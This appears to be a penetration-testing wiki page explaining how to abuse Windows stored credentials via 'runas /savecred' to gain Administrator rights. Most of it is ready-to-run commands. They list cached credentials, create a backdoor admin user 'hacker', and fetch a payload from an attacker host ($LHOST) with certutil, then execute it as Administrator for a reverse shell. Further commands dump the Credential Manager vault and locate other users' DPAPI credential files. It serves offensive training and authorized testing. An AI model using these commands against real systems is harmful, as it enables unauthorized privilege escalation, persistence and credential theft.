# Runas Stored Credentials Privilege Escalation

> Exploit Windows `runas /savecred` stored credentials to execute commands as another user without knowing their password, achieving privilege escalation.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/runas-stored-credentials
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-14

Windows stores credentials for network resources, RDP sessions, and runas targets in the Windows Credential Manager. The `runas /savecred` command allows executing any program as a stored credential user without re-entering the password. If Administrator credentials are cached, you get immediate privilege escalation with a single command.

## Prerequisites Check

List all stored credentials:

```bash
cmdkey /list
```

Look for entries with:

- `Target: DOMAIN\Administrator` or `Target: BUILTIN\Administrator`
- `Target: MicrosoftAccount\...` (Microsoft accounts)
- `Target: Domain:interactive=...` (RDP or runas targets)
- `Type: Generic` with a username indicating a privileged account

If `cmdkey /list` shows no entries, this technique does not apply.

## Step 1: Identify High-Value Stored Credentials

```bash
cmdkey /list
# Currently stored credentials:
#
#     Target: DOMAIN\Administrator
#     Type: Domain Password
#     User: DOMAIN\Administrator
#
#     Target: WindowsLive:target=virtualapp/didlogical
#     Type: Generic
#     User: Administrator
```

Any entry with `Administrator`, `SYSTEM`, or a privileged username is worth targeting.

## Step 2: Runas /savecred escalation on Windows

The `/savecred` flag tells runas to use the stored credential without prompting for a password:

**Add a new admin user:**

```bash
runas /savecred /user:Administrator "cmd.exe /c net user hacker Password123! /add"
runas /savecred /user:Administrator "cmd.exe /c net localgroup administrators hacker /add"
```

**Open an elevated command prompt:**

```bash
runas /savecred /user:Administrator cmd.exe
```

**Reverse shell:**

First transfer your payload:

```bash
certutil -urlcache -split -f http://$LHOST:8080/shell.exe C:\Windows\Temp\shell.exe
```

Start your listener, then:

```bash
runas /savecred /user:Administrator "C:\Windows\Temp\shell.exe"
```

**Domain format:**

```bash
runas /savecred /user:DOMAIN\Administrator cmd.exe
runas /savecred /user:COMPUTERNAME\Administrator cmd.exe
```

## Step 3: Verify Escalation

In the new shell:

```bash
whoami
net user hacker
net localgroup administrators
```

## PowerShell Alternative

```powershell
# Get stored credentials
$creds = Get-StoredCredential
$creds | Format-List

# Or via Windows Credential Manager directly
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]::new().RetrieveAll() | % { $_.RetrievePassword(); $_ }
```

## Credential Manager GUI Access

If you have a GUI session (RDP), open Credential Manager directly:

```
Control Panel → User Accounts → Credential Manager
```

Or via run dialog:

```bash
rundll32.exe keymgr.dll,KRShowKeyMgr
```

This shows all stored credentials including Windows Credentials and Certificate-Based Credentials. Passwords are retrievable only by the owning user: but using `/savecred` for execution does not require reading the password.

## Enumerating Other Users' Stored Credentials

If you escalated to SYSTEM or another user, check their credential store:

```bash
# As SYSTEM: list credentials for a specific user profile
# Credential files are stored in:
dir C:\Users\*\AppData\Local\Microsoft\Credentials\ 2>nul
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\ 2>nul
```

For DPAPI-protected credential decryption see [https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption](https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption).

## References

- [runas](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/runas) - Microsoft Docs /savecred flag behavior and credential manager integration.
- [cmdkey](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) - Microsoft Docs Credential listing, creation, and deletion.